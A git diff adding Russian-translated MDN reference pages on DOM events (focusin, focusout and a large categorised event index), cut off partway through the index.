+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (свойство <code>window</code> объекта document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Для_MediaStream_Recording_событий">Для MediaStream Recording событий</h3>
+
+<p>Эти события типа {{domxref("MediaRecorderErrorEvent")}}.</p>
+
+<p>{{page("/en-US/docs/Web/API/MediaRecorderErrorEvent", "Properties")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>События отсылаются в {{domxref("Window.onerror")}} и {{domxref("Element.onerror")}}</dd>
+ <dt>{{domxref("HTMLMediaElement.onerror")}}</dt>
+ <dd>События отсылаются в {{domxref("HTMLMediaElement")}}, включая {{HTMLElement("audio")}} и {{HTMLElement("video")}}</dd>
+ <dt>{{domxref("MediaRecorder.onerror")}}</dt>
+ <dd>События отсылаются в {{domxref("MediaRecorder.onerror")}}, типа {{domxref("MediaRecorderErrorEvent")}}</dd>
+</dl>
diff --git a/files/ru/web/events/focusin/index.html b/files/ru/web/events/focusin/index.html
new file mode 100644
index 0000000000..02f27b66fb
--- /dev/null
+++ b/files/ru/web/events/focusin/index.html
@@ -0,0 +1,123 @@
+---
+title: focusin
+slug: Web/Events/focusin
+translation_of: Web/API/Element/focusin_event
+---
+<p>Событие focusin срабатывает, когда элемент получает фокус. Главное отличие от <code><a href="/en-US/docs/Mozilla_event_reference/focus_(event)">focus</a> </code>в том, что последний не всплывает.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusIn">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("FocusEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Event target losing focus.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}} (DOM element)</td>
+   <td>Event target receiving focus.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Событие пока что не поддерживается в Firefox, см. {{Bug("687787")}}. Вместо него можно использовать событие <code>focus</code>, которое <a href="/en-US/docs/Mozilla_event_reference/focus_(event)#Event_delegation">совместимо с</a> делегированием событий.</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("focus")}}</li>
+ <li>{{event("blur")}}</li>
+ <li>{{event("focusin")}}</li>
+ <li>{{event("focusout")}}</li>
+</ul>
diff --git a/files/ru/web/events/focusout/index.html b/files/ru/web/events/focusout/index.html
new file mode 100644
index 0000000000..742f52af03
--- /dev/null
+++ b/files/ru/web/events/focusout/index.html
@@ -0,0 +1,126 @@
+---
+title: focusout
+slug: Web/Events/focusout
+translation_of: Web/API/Element/focusout_event
+---
+<p>Событие <code>focusout</code> вызывается перед потерей элементом фокуса. Главное отличие между этим событием и <a href="/en-US/docs/Mozilla_event_reference/blur_(event)"><code>blur</code></a> в том, что у последнего нет фазы всплытия.</p>
+
+<p> </p>
+
+<p>Основная информация</p>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusout">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("FocusEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплытие</dt>
+ <dd style="margin: 0 0 0 120px;">Да</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемый</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Элемент</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Цель события, теряющая фокус.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Всплывает ли событие при нормальных условиях.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Возможно ли отменить событие.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}} (DOM-элемент)</td>
+   <td>Цель события, получающая фокус.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(52)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("focus")}}</li>
+ <li>{{event("blur")}}</li>
+ <li>{{event("focusin")}}</li>
+</ul>
diff --git a/files/ru/web/events/index.html b/files/ru/web/events/index.html
new file mode 100644
index 0000000000..554e82a33b
--- /dev/null
+++ b/files/ru/web/events/index.html
@@ -0,0 +1,2964 @@
+---
+title: Справочник по событиям
+slug: Web/Events
+tags:
+  - Mozilla
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web
+  - События браузера
+  - события
+translation_of: Web/Events
+---
+<p>События DOM присылаются чтобы уведомить код о том, что интересующие его действия произошли. Каждое событие представляет объект, который основан на интерфейсе {{domxref("Event")}} и может иметь дополнительные поля и/или функции, позволяющие получить дополнительную информацию о том, что произошло. События могут описывать всё, что угодного от простых действий пользователя до действий автоматизированной системы рассылки уведомлений, создаваемых моделью формирования экрана.</p>
+
+<p>Эта статья содержит список событий, которые могут быть отправлены; некоторые стандартные события определены в официальной документации, тогда как другие события являются специфичными для конкретных браузеров. Для примера, в списке приведены специфические для браузера Mozilla события, которые позволяют использовать add-ons для взаимодействия с браузером.</p>
+
+<h2 id="Наиболее_распространенные_категории">Наиболее распространенные категории</h2>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_ресурса">События ресурса</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>Не удалось загрузить ресурс.</td>
+  </tr>
+  <tr>
+   <td>{{Event("abort")}}</td>
+   <td>Загрузка ресурса была прервана.</td>
+  </tr>
+  <tr>
+   <td>{{Event("load")}}</td>
+   <td>Ресурс и его зависимые ресурсы завершили загрузку.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beforeunload")}}</td>
+   <td>Окно, документ и его ресурсы будут выгружены.</td>
+  </tr>
+  <tr>
+   <td>{{Event("unload")}}</td>
+   <td>Выгружается документ или зависимый ресурс.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="Сетевые_события">Сетевые события</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("online")}}</td>
+   <td>Браузер получил доступ к сети.</td>
+  </tr>
+  <tr>
+   <td>{{Event("offline")}}</td>
+   <td>Браузер потерял доступ к сети.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_фокуса">События фокуса</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("focus")}}</td>
+   <td>Элемент получил фокус (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{Event("blur")}}</td>
+   <td>Элемент потерял фокус (does not bubble).</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_вебсокетов">События вебсокетов</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
+   <td>Установлено соединение с WebSocket.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
+   <td>Сообщение принимается через WebSocket.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>Соединение WebSocket было закрыто с предубеждением (например, некоторые данные не могут быть отправлены).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
+   <td>Соединение WebSocket было закрыто.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_журнала_сессии">События журнала сессии</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("pagehide")}}</td>
+   <td>Выполняется обход записей журнала сессии.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pageshow")}}</td>
+   <td>Выполняется переход к записи журнала сессии.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popstate")}}</td>
+   <td>Выполняется переход к записи журнала сессии (в некоторых случаях).</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_CSS_анимации">События CSS анимации</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("animationstart")}}</td>
+   <td><a href="/en-US/docs/CSS/CSS_animations">CSS анимация</a> началась.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationcancel")}}</td>
+   <td><a href="/en-US/docs/CSS/CSS_animations">CSS анимация</a> прервалась.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationend")}}</td>
+   <td><a href="/en-US/docs/CSS/CSS_animations">CSS анимация</a> завершена.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationiteration")}}</td>
+   <td><a href="/en-US/docs/CSS/CSS_animations">CSS анимация</a> повторяется.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_CSS_перехода">События CSS перехода</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("transitionstart")}}</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS переход</a> уже фактически начался (запустился после каких-либо задержек).</td>
+  </tr>
+  <tr>
+   <td>{{Event("transitioncancel")}}</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS переход</a> отменен.</td>
+  </tr>
+  <tr>
+   <td>{{Event("transitionend")}}</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS переход</a> завершен.</td>
+  </tr>
+  <tr>
+   <td>{{Event("transitionrun")}}</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS переход</a> начал выполняться (запускается до начала любой задержки)..</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_формы">События формы</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("reset")}}</td>
+   <td>Кнопка сброса нажата</td>
+  </tr>
+  <tr>
+   <td>{{Event("submit")}}</td>
+   <td>Кнопка "Отправить" нажата</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_печати">События печати</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("beforeprint")}}</td>
+   <td>Диалоговое окно печати открыто</td>
+  </tr>
+  <tr>
+   <td>{{Event("afterprint")}}</td>
+   <td>Диалоговое окно печати закрыто</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_Text_Composition"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>События Text Composition</span></span></span></h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("compositionstart")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Подготавливается композиция отрывка текста (аналогично нажатию клавиш для ввода с клавиатуры, но работает с другими входами, такими как распознавание речи).</span></span></span></td>
+  </tr>
+  <tr>
+   <td>{{Event("compositionupdate")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>К отрывку составляемого текста добавляется символ.</span></span></span></td>
+  </tr>
+  <tr>
+   <td>{{Event("compositionend")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Составление отрывка текста завершено или отменено.</span></span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_представления">События представления</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("fullscreenchange")}}</td>
+   <td>Элемент был переведен в полноэкранный режим или обратно в нормальный режим.</td>
+  </tr>
+  <tr>
+   <td>{{Event("fullscreenerror")}}</td>
+   <td>Переход в полноэкранный режим был невозможен по техническим причинам или из-за отказа в разрешении.</td>
+  </tr>
+  <tr>
+   <td>{{Event("resize")}}</td>
+   <td>Размер просмотра документа изменен.</td>
+  </tr>
+  <tr>
+   <td>{{Event("scroll")}}</td>
+   <td>Документ или элемент были прокручены.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_буфера_обмена">События буфера обмена</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("cut")}}</td>
+   <td>Выделение было вырезано и скопировано в буфер обмена</td>
+  </tr>
+  <tr>
+   <td>{{Event("copy")}}</td>
+   <td>Выделение было скопировано в буфер обмена</td>
+  </tr>
+  <tr>
+   <td>{{Event("paste")}}</td>
+   <td>Элемент из буфера обмена был вставлен</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_клавиатуры">События клавиатуры</h3>
+ </caption>
+ <tbody>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+  <tr>
+   <td>{{Event("keydown")}}</td>
+   <td>Нажата любая клавиша</td>
+  </tr>
+  <tr>
+   <td>{{Event("keypress")}}</td>
+   <td>Любая клавиша, кроме Shift, Fn, CapsLock, находится в нажатом положении. (Происходит непрерывно.)</td>
+  </tr>
+  <tr>
+   <td>{{Event("keyup")}}</td>
+   <td>Любая клавиша отпущена</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_мыши">События мыши</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("auxclick")}}</td>
+   <td>Кнопка указывающего устройства (любая неосновная кнопка) была нажата и отпущена на элементе.</td>
+  </tr>
+  <tr>
+   <td>{{Event("click")}}</td>
+   <td>Кнопка указывающего устройства (любая кнопка; soon to be primary button only) была нажата и отпущена на элементе.</td>
+  </tr>
+  <tr>
+   <td>{{Event("contextmenu")}}</td>
+   <td>Правая кнопка мыши щелкнута (перед отображением контекстного меню).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dblclick")}}</td>
+   <td>На элементе дважды щелкается кнопка указывающего устройства.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mousedown")}}</td>
+   <td>На элементе нажимается кнопка указывающего устройства.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseenter")}}</td>
+   <td>Указывающее устройство перемещено на элемент, к которому подключен прослушиватель.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseleave")}}</td>
+   <td>Указывающее устройство перемещается от элемента, к которому подключен прослушиватель.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mousemove")}}</td>
+   <td>Указывающее устройство перемещается по элементу. (Происходит непрерывно при движении мыши.)</td>
+  </tr>
+  <tr>
+   <td>
+    <h5 id="Eventmouseover">{{Event("mouseover")}}</h5>
+   </td>
+   <td>Указывающее устройство перемещается на элемент, к которому подключен прослушиватель, или на один из его дочерних элементов.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseout")}}</td>
+   <td>Указывающее устройство перемещается от элемента, к которому подключен прослушиватель, или от одного из его дочерних элементов.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseup")}}</td>
+   <td>Кнопка указывающего устройства отпускается над элементом.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerlockchange")}}</td>
+   <td>Указатель был заблокирован или отпущен.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerlockerror")}}</td>
+   <td>Указатель был заблокирован по техническим причинам или из-за отказа в разрешении.</td>
+  </tr>
+  <tr>
+   <td>{{Event("select")}}</td>
+   <td>Выбирается какой-то текст.</td>
+  </tr>
+  <tr>
+   <td>{{Event("wheel")}}</td>
+   <td>Колесо указывающего устройства вращается в любом направлении.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="События_Drag_Drop">События Drag &amp; Drop</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("drag")}}</td>
+   <td>Элемент или выделение текста перетаскивается. (Срабатывает непрерывно каждые 350 мс)</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragend")}}</td>
+   <td>Операция перетаскивания завершается (отпуская кнопку мыши или нажимая клавишу выхода).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragenter")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Перетаскиваемый элемент или выделенный текст попадает в допустимую цель перетаскивания.</span></span></span></td>
+  </tr>
+  <tr>
+   <td>{{Event("dragstart")}}</td>
+   <td>Пользователь начинает перетаскивать элемент или выделенный текст.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragleave")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Перетаскиваемый элемент или выделенный текст оставляет допустимую цель перетаскивания.</span></span></span></td>
+  </tr>
+  <tr>
+   <td>{{Event("dragover")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Выбранный элемент или текст перетаскивается над допустимой целью перетаскивания.</span></span> <span class="ChMk0b JLqJ4b"><span>(Срабатывает непрерывно каждые 350 мс)</span></span></span></td>
+  </tr>
+  <tr>
+   <td>{{Event("drop")}}</td>
+   <td>An element is dropped on a valid drop target.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="Медиа_события">Медиа события</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("audioprocess")}}</td>
+   <td>Входной буфер {{DOMxRef("ScriptProcessorNode")}} готов к обработке.</td>
+  </tr>
+  <tr>
+   <td>{{Event("canplay")}}</td>
+   <td>Браузер может воспроизводить мультимедиа, но оценивает, что было загружено недостаточно данных для воспроизведения мультимедиа до конца без необходимости останавливаться для дальнейшей буферизации содержимого.</td>
+  </tr>
+  <tr>
+   <td>{{Event("canplaythrough")}}</td>
+   <td>Браузер оценивает, что он может воспроизводить мультимедиа до конца, не останавливаясь для буферизации контента.</td>
+  </tr>
+  <tr>
+   <td>{{Event("complete")}}</td>
+   <td>Рендеринг {{DOMxRef("OfflineAudioContext")}} закончен.</td>
+  </tr>
+  <tr>
+   <td>{{Event("durationchange")}}</td>
+   <td>Атрибут <code>duration</code> был обновлен.</td>
+  </tr>
+  <tr>
+   <td>{{Event("emptied")}}</td>
+   <td>Медиа стало пустым; например, это событие отправляется, если медиа уже загружено (или частично заргужено), и метод <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> вызывается, чтобы перезагрузить его.</td>
+  </tr>
+  <tr>
+   <td>{{Event("ended")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Воспроизведение остановлено, поскольку достигнут конец медиа.</span></span></span></td>
+  </tr>
+  <tr>
+   <td>{{Event("loadeddata")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Закончилась загрузка первого фрейма медиа</span></span></span>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadedmetadata")}}</td>
+   <td>Метаданные загружены.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pause")}}</td>
+   <td>Воспроизведение было приостановлено.</td>
+  </tr>
+  <tr>
+   <td>{{Event("play")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Воспроизведение началось</span></span></span>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("playing")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Воспроизведение готово к запуску после того, как оно было приостановлено или отложено из-за отсутствия данных</span></span></span>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("ratechange")}}</td>
+   <td>Скорость воспроизведения изменилась.</td>
+  </tr>
+  <tr>
+   <td>{{Event("seeked")}}</td>
+   <td>Операция <em>seek</em> завершена.</td>
+  </tr>
+  <tr>
+   <td>{{Event("seeking")}}</td>
+   <td>Операция <em>seek</em> начата.</td>
+  </tr>
+  <tr>
+   <td>{{Event("stalled")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Пользовательский агент пытается получить мультимедийные данные, но данные неожиданно не поступают.</span></span></span>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("suspend")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Загрузка медиаданных приостановлена.</span></span></span></td>
+  </tr>
+  <tr>
+   <td>{{Event("timeupdate")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Время, указанное атрибутом</span></span></span> <code>currentTime</code>, было обновлено.</td>
+  </tr>
+  <tr>
+   <td>{{Event("volumechange")}}</td>
+   <td>Громкость изменилась.</td>
+  </tr>
+  <tr>
+   <td>{{Event("waiting")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Воспроизведение остановлено из-за временной нехватки данных</span></span></span>.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<table class="standard-table">
+ <caption>
+ <h3 id="Progress_события">Progress события</h3>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/XMLHttpRequest/abort_event">abort</a></code></td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Выполнение остановлено (не из-за ошибки).</span></span></span></td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>Выполнение не удалось.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/XMLHttpRequest/load_event">load</a></code></td>
+   <td>Выполнено успешно.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadend")}}</td>
+   <td>Выполнение остановлено (после отправки "error", "abort" или "load").</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadstart")}}</td>
+   <td>Выполнение началось.</td>
+  </tr>
+  <tr>
+   <td>{{Event("progress")}}</td>
+   <td>В ходе выполнения.</td>
+  </tr>
+  <tr>
+   <td>{{Event("timeout")}}</td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Выполнение прекращено по истечении установленного времени</span></span></span>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="События_хранилища">События хранилища</h3>
+
